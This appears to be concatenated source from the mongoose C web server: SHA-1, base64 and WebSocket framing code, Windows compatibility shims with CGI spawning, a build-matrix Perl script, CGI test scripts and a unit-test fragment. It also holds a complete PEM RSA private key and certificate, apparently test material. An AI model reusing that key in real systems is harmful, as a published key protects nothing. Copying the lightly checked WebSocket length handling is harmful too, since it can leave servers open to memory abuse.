#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(block, i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30);
#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30);
#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30);
typedef struct {
uint32_t state[5];
uint32_t count[2];
unsigned char buffer[64];
} SHA1_CTX;
static void SHA1Transform(uint32_t state[5], const unsigned char buffer[64]) {
uint32_t a, b, c, d, e;
union char64long16 block[1];
memcpy(block, buffer, 64);
a = state[0];
b = state[1];
c = state[2];
d = state[3];
e = state[4];
R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3);
R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7);
R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11);
R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15);
R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
state[4] += e;
a = b = c = d = e = 0;
memset(block, '\0', sizeof(block));
}
static void SHA1Init(SHA1_CTX* context) {
context->state[0] = 0x67452301;
context->state[1] = 0xEFCDAB89;
context->state[2] = 0x98BADCFE;
context->state[3] = 0x10325476;
context->state[4] = 0xC3D2E1F0;
context->count[0] = context->count[1] = 0;
}
static void SHA1Update(SHA1_CTX* context, const unsigned char* data,
uint32_t len) {
uint32_t i, j;
j = context->count[0];
if ((context->count[0] += len << 3) < j)
context->count[1]++;
context->count[1] += (len>>29);
j = (j >> 3) & 63;
if ((j + len) > 63) {
memcpy(&context->buffer[j], data, (i = 64-j));
SHA1Transform(context->state, context->buffer);
for ( ; i + 63 < len; i += 64) {
SHA1Transform(context->state, &data[i]);
}
j = 0;
}
else i = 0;
memcpy(&context->buffer[j], &data[i], len - i);
}
static void SHA1Final(unsigned char digest[20], SHA1_CTX* context) {
unsigned i;
unsigned char finalcount[8], c;
for (i = 0; i < 8; i++) {
finalcount[i] = (unsigned char)((context->count[(i >= 4 ? 0 : 1)]
>> ((3-(i & 3)) * 8) ) & 255);
}
c = 0200;
SHA1Update(context, &c, 1);
while ((context->count[0] & 504) != 448) {
c = 0000;
SHA1Update(context, &c, 1);
}
SHA1Update(context, finalcount, 8);
for (i = 0; i < 20; i++) {
digest[i] = (unsigned char)
((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255);
}
memset(context, '\0', sizeof(*context));
memset(&finalcount, '\0', sizeof(finalcount));
}
// END OF SHA1 CODE
static void base64_encode(const unsigned char *src, int src_len, char *dst) {
static const char *b64 =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int i, j, a, b, c;
for (i = j = 0; i < src_len; i += 3) {
a = src[i];
b = i + 1 >= src_len ? 0 : src[i + 1];
c = i + 2 >= src_len ? 0 : src[i + 2];
dst[j++] = b64[a >> 2];
dst[j++] = b64[((a & 3) << 4) | (b >> 4)];
if (i + 1 < src_len) {
dst[j++] = b64[(b & 15) << 2 | (c >> 6)];
}
if (i + 2 < src_len) {
dst[j++] = b64[c & 63];
}
}
while (j % 4 != 0) {
dst[j++] = '=';
}
dst[j++] = '\0';
}
void mg_websocket_handshake(struct mg_connection *conn) {
static const char *magic = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
char buf[100], sha[20], b64_sha[sizeof(sha) * 2];
SHA1_CTX sha_ctx;
mg_snprintf(buf, sizeof(buf), "%s%s",
mg_get_header(conn, "Sec-WebSocket-Key"), magic);
SHA1Init(&sha_ctx);
SHA1Update(&sha_ctx, (unsigned char *) buf, strlen(buf));
SHA1Final((unsigned char *) sha, &sha_ctx);
base64_encode((unsigned char *) sha, sizeof(sha), b64_sha);
mg_printf(conn, "%s%s%s",
"HTTP/1.1 101 Switching Protocols\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
"Sec-WebSocket-Accept: ", b64_sha, "\r\n\r\n");
}
int mg_websocket_read(struct mg_connection *conn, int *bits, char **data) {
// Pointer to the beginning of the portion of the incoming websocket message
// queue. The original websocket upgrade request is never removed,
// so the queue begins after it.
unsigned char *buf = (unsigned char *) conn->buf + conn->request_len;
int n, stop = 0;
size_t i, len, mask_len, data_len, header_len, body_len;
char mask[4];
assert(conn->content_len == 0);
// Loop continuously, reading messages from the socket, invoking the callback,
// and waiting repeatedly until an error occurs.
while (!stop) {
header_len = 0;
// body_len is the length of the entire queue in bytes
// len is the length of the current message
// data_len is the length of the current message's data payload
// header_len is the length of the current message's header
if ((body_len = conn->data_len - conn->request_len) >= 2) {
len = buf[1] & 127;
mask_len = buf[1] & 128 ? 4 : 0;
if (len < 126 && body_len >= mask_len) {
data_len = len;
header_len = 2 + mask_len;
} else if (len == 126 && body_len >= 4 + mask_len) {
header_len = 4 + mask_len;
data_len = ((((int) buf[2]) << 8) + buf[3]);
} else if (body_len >= 10 + mask_len) {
header_len = 10 + mask_len;
data_len = (((uint64_t) htonl(* (uint32_t *) &buf[2])) << 32) +
htonl(* (uint32_t *) &buf[6]);
}
}
// Data layout is as follows:
// conn->buf buf
// v v frame1 | frame2
// |---------------------|----------------|--------------|-------
// | |<--header_len-->|<--data_len-->|
// |<-conn->request_len->|<-----body_len----------->|
// |<-------------------conn->data_len------------->|
if (header_len > 0) {
// Allocate space to hold websocket payload
if ((*data = malloc(data_len)) == NULL) {
// Allocation failed, exit the loop and then close the connection
// TODO: notify user about the failure
data_len = 0;
break;
}
// Save mask and bits, otherwise it may be clobbered by memmove below
*bits = buf[0];
memcpy(mask, buf + header_len - mask_len, mask_len);
// Read frame payload into the allocated buffer.
assert(body_len >= header_len);
if (data_len + header_len > body_len) {
len = body_len - header_len;
memcpy(*data, buf + header_len, len);
// TODO: handle pull error
pull_all(NULL, conn, *data + len, data_len - len);
conn->data_len = conn->request_len;
} else {
len = data_len + header_len;
memcpy(*data, buf + header_len, data_len);
memmove(buf, buf + len, body_len - len);
conn->data_len -= len;
}
// Apply mask if necessary
if (mask_len > 0) {
for (i = 0; i < data_len; i++) {
(*data)[i] ^= mask[i % 4];
}
}
return data_len;
} else {
// Buffering websocket request
if ((n = pull(NULL, conn, conn->buf + conn->data_len,
conn->buf_size - conn->data_len)) <= 0) {
break;
}
conn->data_len += n;
}
}
return 0;
}
int mg_websocket_write(struct mg_connection* conn, int opcode,
const char *data, size_t data_len) {
unsigned char *copy;
size_t copy_len = 0;
int retval = -1;
if ((copy = (unsigned char *) malloc(data_len + 10)) == NULL) {
return -1;
}
copy[0] = 0x80 + (opcode & 0x0f);
// Frame format: http://tools.ietf.org/html/rfc6455#section-5.2
if (data_len < 126) {
// Inline 7-bit length field
copy[1] = data_len;
memcpy(copy + 2, data, data_len);
copy_len = 2 + data_len;
} else if (data_len <= 0xFFFF) {
// 16-bit length field
copy[1] = 126;
* (uint16_t *) (copy + 2) = htons(data_len);
memcpy(copy + 4, data, data_len);
copy_len = 4 + data_len;
} else {
// 64-bit length field
copy[1] = 127;
* (uint32_t *) (copy + 2) = htonl((uint64_t) data_len >> 32);
* (uint32_t *) (copy + 6) = htonl(data_len & 0xffffffff);
memcpy(copy + 10, data, data_len);
copy_len = 10 + data_len;
}
// Not thread safe
if (copy_len > 0) {
retval = mg_write(conn, copy, copy_len);
}
free(copy);
return retval;
}
#endif // !USE_WEBSOCKET
#include "internal.h"
#if defined(_WIN32)
static pthread_t pthread_self(void) {
return GetCurrentThreadId();
}
static int pthread_mutex_init(pthread_mutex_t *mutex, void *unused) {
(void) unused;
*mutex = CreateMutex(NULL, FALSE, NULL);
return *mutex == NULL ? -1 : 0;
}
static int pthread_mutex_destroy(pthread_mutex_t *mutex) {
return CloseHandle(*mutex) == 0 ? -1 : 0;
}
static int pthread_mutex_lock(pthread_mutex_t *mutex) {
return WaitForSingleObject(*mutex, INFINITE) == WAIT_OBJECT_0? 0 : -1;
}
static int pthread_mutex_unlock(pthread_mutex_t *mutex) {
return ReleaseMutex(*mutex) == 0 ? -1 : 0;
}
// For Windows, change all slashes to backslashes in path names.
static void change_slashes_to_backslashes(char *path) {
int i;
for (i = 0; path[i] != '\0'; i++) {
if (path[i] == '/')
path[i] = '\\';
// i > 0 check is to preserve UNC paths, like \\server\file.txt
if (path[i] == '\\' && i > 0)
while (path[i + 1] == '\\' || path[i + 1] == '/')
(void) memmove(path + i + 1,
path + i + 2, strlen(path + i + 1));
}
}
// Encode 'path' which is assumed UTF-8 string, into UNICODE string.
// wbuf and wbuf_len is a target buffer and its length.
static void to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len) {
char buf[PATH_MAX * 2], buf2[PATH_MAX * 2];
mg_strlcpy(buf, path, sizeof(buf));
change_slashes_to_backslashes(buf);
// Convert to Unicode and back. If doubly-converted string does not
// match the original, something is fishy, reject.
memset(wbuf, 0, wbuf_len * sizeof(wchar_t));
MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, (int) wbuf_len);
WideCharToMultiByte(CP_UTF8, 0, wbuf, (int) wbuf_len, buf2, sizeof(buf2),
NULL, NULL);
if (strcmp(buf, buf2) != 0) {
wbuf[0] = L'\0';
}
}
#if defined(_WIN32_WCE)
static time_t time(time_t *ptime) {
time_t t;
SYSTEMTIME st;
FILETIME ft;
GetSystemTime(&st);
SystemTimeToFileTime(&st, &ft);
t = SYS2UNIX_TIME(ft.dwLowDateTime, ft.dwHighDateTime);
if (ptime != NULL) {
*ptime = t;
}
return t;
}
static struct tm *localtime(const time_t *ptime, struct tm *ptm) {
int64_t t = ((int64_t) *ptime) * RATE_DIFF + EPOCH_DIFF;
FILETIME ft, lft;
SYSTEMTIME st;
TIME_ZONE_INFORMATION tzinfo;
if (ptm == NULL) {
return NULL;
}
* (int64_t *) &ft = t;
FileTimeToLocalFileTime(&ft, &lft);
FileTimeToSystemTime(&lft, &st);
ptm->tm_year = st.wYear - 1900;
ptm->tm_mon = st.wMonth - 1;
ptm->tm_wday = st.wDayOfWeek;
ptm->tm_mday = st.wDay;
ptm->tm_hour = st.wHour;
ptm->tm_min = st.wMinute;
ptm->tm_sec = st.wSecond;
ptm->tm_yday = 0; // hope nobody uses this
ptm->tm_isdst =
GetTimeZoneInformation(&tzinfo) == TIME_ZONE_ID_DAYLIGHT ? 1 : 0;
return ptm;
}
static struct tm *gmtime(const time_t *ptime, struct tm *ptm) {
// FIXME(lsm): fix this.
return localtime(ptime, ptm);
}
static size_t strftime(char *dst, size_t dst_size, const char *fmt,
const struct tm *tm) {
(void) snprintf(dst, dst_size, "implement strftime() for WinCE");
return 0;
}
#endif
// Windows happily opens files with some garbage at the end of file name.
// For example, fopen("a.cgi ", "r") on Windows successfully opens
// "a.cgi", despite one would expect an error back.
// This function returns non-0 if path ends with some garbage.
static int path_cannot_disclose_cgi(const char *path) {
static const char *allowed_last_characters = "_-";
int last = path[strlen(path) - 1];
return isalnum(last) || strchr(allowed_last_characters, last) != NULL;
}
static int mg_stat(const char *path, struct file *filep) {
wchar_t wbuf[PATH_MAX] = L"\\\\?\\";
WIN32_FILE_ATTRIBUTE_DATA info;
filep->modification_time = 0;
to_unicode(path, wbuf + 4, ARRAY_SIZE(wbuf) - 4);
if (GetFileAttributesExW(wbuf, GetFileExInfoStandard, &info) != 0) {
filep->size = MAKEUQUAD(info.nFileSizeLow, info.nFileSizeHigh);
filep->modification_time = SYS2UNIX_TIME(
info.ftLastWriteTime.dwLowDateTime,
info.ftLastWriteTime.dwHighDateTime);
filep->is_directory = info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
// If file name is fishy, reset the file structure and return error.
// Note it is important to reset, not just return the error, cause
// functions like is_file_opened() check the struct.
if (!filep->is_directory && !path_cannot_disclose_cgi(path)) {
memset(filep, 0, sizeof(*filep));
}
}
return filep->modification_time != 0;
}
static int mg_remove(const char *path) {
wchar_t wbuf[PATH_MAX];
to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
return DeleteFileW(wbuf) ? 0 : -1;
}
static int mg_mkdir(const char *path, int mode) {
char buf[PATH_MAX];
wchar_t wbuf[PATH_MAX];
(void) mode;
mg_strlcpy(buf, path, sizeof(buf));
change_slashes_to_backslashes(buf);
(void) MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, ARRAY_SIZE(wbuf));
return CreateDirectoryW(wbuf, NULL) ? 0 : -1;
}
// Implementation of POSIX opendir/closedir/readdir for Windows.
static DIR * opendir(const char *name) {
DIR *dir = NULL;
wchar_t wpath[PATH_MAX];
DWORD attrs;
if (name == NULL) {
SetLastError(ERROR_BAD_ARGUMENTS);
} else if ((dir = (DIR *) malloc(sizeof(*dir))) == NULL) {
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
} else {
to_unicode(name, wpath, ARRAY_SIZE(wpath));
attrs = GetFileAttributesW(wpath);
if (attrs != 0xFFFFFFFF &&
((attrs & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)) {
(void) wcscat(wpath, L"\\*");
dir->handle = FindFirstFileW(wpath, &dir->info);
dir->result.d_name[0] = '\0';
} else {
free(dir);
dir = NULL;
}
}
return dir;
}
static int closedir(DIR *dir) {
int result = 0;
if (dir != NULL) {
if (dir->handle != INVALID_HANDLE_VALUE)
result = FindClose(dir->handle) ? 0 : -1;
free(dir);
} else {
result = -1;
SetLastError(ERROR_BAD_ARGUMENTS);
}
return result;
}
static struct dirent *readdir(DIR *dir) {
struct dirent *result = 0;
if (dir) {
if (dir->handle != INVALID_HANDLE_VALUE) {
result = &dir->result;
(void) WideCharToMultiByte(CP_UTF8, 0,
dir->info.cFileName, -1, result->d_name,
sizeof(result->d_name), NULL, NULL);
if (!FindNextFileW(dir->handle, &dir->info)) {
(void) FindClose(dir->handle);
dir->handle = INVALID_HANDLE_VALUE;
}
} else {
SetLastError(ERROR_FILE_NOT_FOUND);
}
} else {
SetLastError(ERROR_BAD_ARGUMENTS);
}
return result;
}
#ifndef HAVE_POLL
static int poll(struct pollfd *pfd, int n, int milliseconds) {
struct timeval tv;
fd_set set;
int i, result;
SOCKET maxfd = 0;
tv.tv_sec = milliseconds / 1000;
tv.tv_usec = (milliseconds % 1000) * 1000;
FD_ZERO(&set);
for (i = 0; i < n; i++) {
FD_SET((SOCKET) pfd[i].fd, &set);
pfd[i].revents = 0;
if (pfd[i].fd > maxfd) {
maxfd = pfd[i].fd;
}
}
if ((result = select(maxfd + 1, &set, NULL, NULL, &tv)) > 0) {
for (i = 0; i < n; i++) {
if (FD_ISSET(pfd[i].fd, &set)) {
pfd[i].revents = POLLIN;
}
}
}
return result;
}
#endif // HAVE_POLL
static void set_close_on_exec(SOCKET sock) {
(void) SetHandleInformation((HANDLE) sock, HANDLE_FLAG_INHERIT, 0);
}
int mg_start_thread(mg_thread_func_t f, void *p) {
return (long)_beginthread((void (__cdecl *)(void *)) f, 0, p) == -1L ? -1 : 0;
}
static HANDLE dlopen(const char *dll_name, int flags) {
wchar_t wbuf[PATH_MAX];
(void) flags;
to_unicode(dll_name, wbuf, ARRAY_SIZE(wbuf));
return LoadLibraryW(wbuf);
}
#if !defined(NO_CGI)
#define SIGKILL 0
static int kill(pid_t pid, int sig_num) {
(void) TerminateProcess(pid, sig_num);
(void) CloseHandle(pid);
return 0;
}
static void trim_trailing_whitespaces(char *s) {
char *e = s + strlen(s) - 1;
while (e > s && isspace(* (unsigned char *) e)) {
*e-- = '\0';
}
}
static pid_t spawn_process(struct mg_connection *conn, const char *prog,
char *envblk, char *envp[], int fdin,
int fdout, const char *dir) {
HANDLE me;
char *interp, full_interp[PATH_MAX], full_dir[PATH_MAX],
cmdline[PATH_MAX], buf[PATH_MAX];
FILE *fp;
STARTUPINFOA si;
PROCESS_INFORMATION pi = { 0 };
(void) envp;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
// TODO(lsm): redirect CGI errors to the error log file
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
me = GetCurrentProcess();
DuplicateHandle(me, (HANDLE) _get_osfhandle(fdin), me,
&si.hStdInput, 0, TRUE, DUPLICATE_SAME_ACCESS);
DuplicateHandle(me, (HANDLE) _get_osfhandle(fdout), me,
&si.hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS);
// If CGI file is a script, try to read the interpreter line
interp = conn->ctx->config[CGI_INTERPRETER];
if (interp == NULL) {
buf[0] = buf[1] = '\0';
// Read the first line of the script into the buffer
snprintf(cmdline, sizeof(cmdline), "%s%c%s", dir, '/', prog);
if ((fp = mg_fopen(cmdline, "r")) != NULL) {
fgets(buf, sizeof(buf), fp);
fclose(fp);
buf[sizeof(buf) - 1] = '\0';
}
if (buf[0] == '#' && buf[1] == '!') {
trim_trailing_whitespaces(buf + 2);
} else {
buf[2] = '\0';
}
interp = buf + 2;
}
if (interp[0] != '\0') {
GetFullPathNameA(interp, sizeof(full_interp), full_interp, NULL);
interp = full_interp;
}
GetFullPathNameA(dir, sizeof(full_dir), full_dir, NULL);
mg_snprintf(cmdline, sizeof(cmdline), "%s%s\"%s\\%s\"",
interp, interp[0] == '\0' ? "" : " ", full_dir, prog);
DEBUG_TRACE(("Running [%s]", cmdline));
if (CreateProcessA(NULL, cmdline, NULL, NULL, TRUE,
CREATE_NEW_PROCESS_GROUP, envblk, NULL, &si, &pi) == 0) {
cry(conn, "%s: CreateProcess(%s): %ld",
__func__, cmdline, ERRNO);
pi.hProcess = (pid_t) -1;
}
(void) CloseHandle(si.hStdOutput);
(void) CloseHandle(si.hStdInput);
(void) CloseHandle(pi.hThread);
return (pid_t) pi.hProcess;
}
#endif // !NO_CGI
static int set_non_blocking_mode(SOCKET sock) {
unsigned long on = 1;
return ioctlsocket(sock, FIONBIO, &on);
}
#endif
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
SEGI4JSxV56lYg==
-----END CERTIFICATE-----
-----BEGIN DH PARAMETERS-----
MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
-----END DH PARAMETERS-----
#!/usr/bin/env perl
use Data::Dumper;
@flags = split /\s+/,
`egrep -o 'NO_[A-Z0-9_]*|USE_[A-Z0-9_]*' ../mongoose.c | sort | uniq`;
#@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
my $num_flags = @flags;
sub fail {
print "FAILED: @_\n";
exit 1;
}
my $extra = {
'USE_SSL' => '-lssl',
'USE_LUA' => 'lua_5.2.1.c',
};
#my $platform = $ARGV[0] || "linux";
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
my @combination = ();
for (my $j = 0; $j < $num_flags; $j++) {
next unless substr($bitmask, $j, 1);
my $def = $flags[$j];
next if $def eq 'USE_LUA_SQLITE3';
push @combination, "-D$def";
push @combination, $extra->{$def} if $extra->{$def};
}
my $defines = join(" ", @combination);
my $cmd = "make clean all CFLAGS_EXTRA=\"-O0 $defines\"";
#print "Testing [$defines]\n";
system($cmd) == 0 or fail "build failed: $_";
#system("perl test/test.pl basic_tests >/dev/null") == 0
# or fail "basic tests";
#print "Basic tests: OK\n";
}
print "PASS: All builds passed!\n";
#!/bin/sh
echo "echoing bad headers: server must report status 500"
exec 1>&2
echo shit!!!
#!/usr/bin/env perl
print "Status: 302 Please pass me to the client\r\n\r\n";
#!/usr/bin/env perl
print "Content-Type: text/plain\n\nhello\n";
// Copyright (c) 2004-2009 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// Unit test for the mongoose web server. Tests embedded API.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef _WIN32
#include <unistd.h>
#endif
#include "mongoose.h"
#if !defined(LISTENING_PORT)
#define LISTENING_PORT "23456"
#endif
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
"Content-Type: text/plain\r\n"
"Connection: close\r\n\r\n";
static void test_get_var(struct mg_connection *conn,
const struct mg_request_info *ri) {
char *var, *buf;
size_t buf_len;
const char *cl;
int var_len;
mg_printf(conn, "%s", standard_reply);
buf_len = 0;
var = buf = NULL;
cl = mg_get_header(conn, "Content-Length");
mg_printf(conn, "cl: %p\n", cl);
if ((!strcmp(ri->request_method, "POST") ||
!strcmp(ri->request_method, "PUT"))
&& cl != NULL) {
buf_len = atoi(cl);
buf = malloc(buf_len);
/* Read in two pieces, to test continuation */
if (buf_len > 2) {
mg_read(conn, buf, 2);
mg_read(conn, buf + 2, buf_len - 2);
} else {
mg_read(conn, buf, buf_len);
}
} else if (ri->query_string != NULL) {
buf_len = strlen(ri->query_string);
buf = malloc(buf_len + 1);
strcpy(buf, ri->query_string);
}
var = malloc(buf_len + 1);
var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
mg_printf(conn, "Value: [%s]\n", var);
mg_printf(conn, "Value size: [%d]\n", var_len);
free(buf);
free(var);
}
static void test_get_header(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *value;
int i;
mg_printf(conn, "%s", standard_reply);
printf("HTTP headers: %d\n", ri->num_headers);
for (i = 0; i < ri->num_headers; i++) {
printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
}
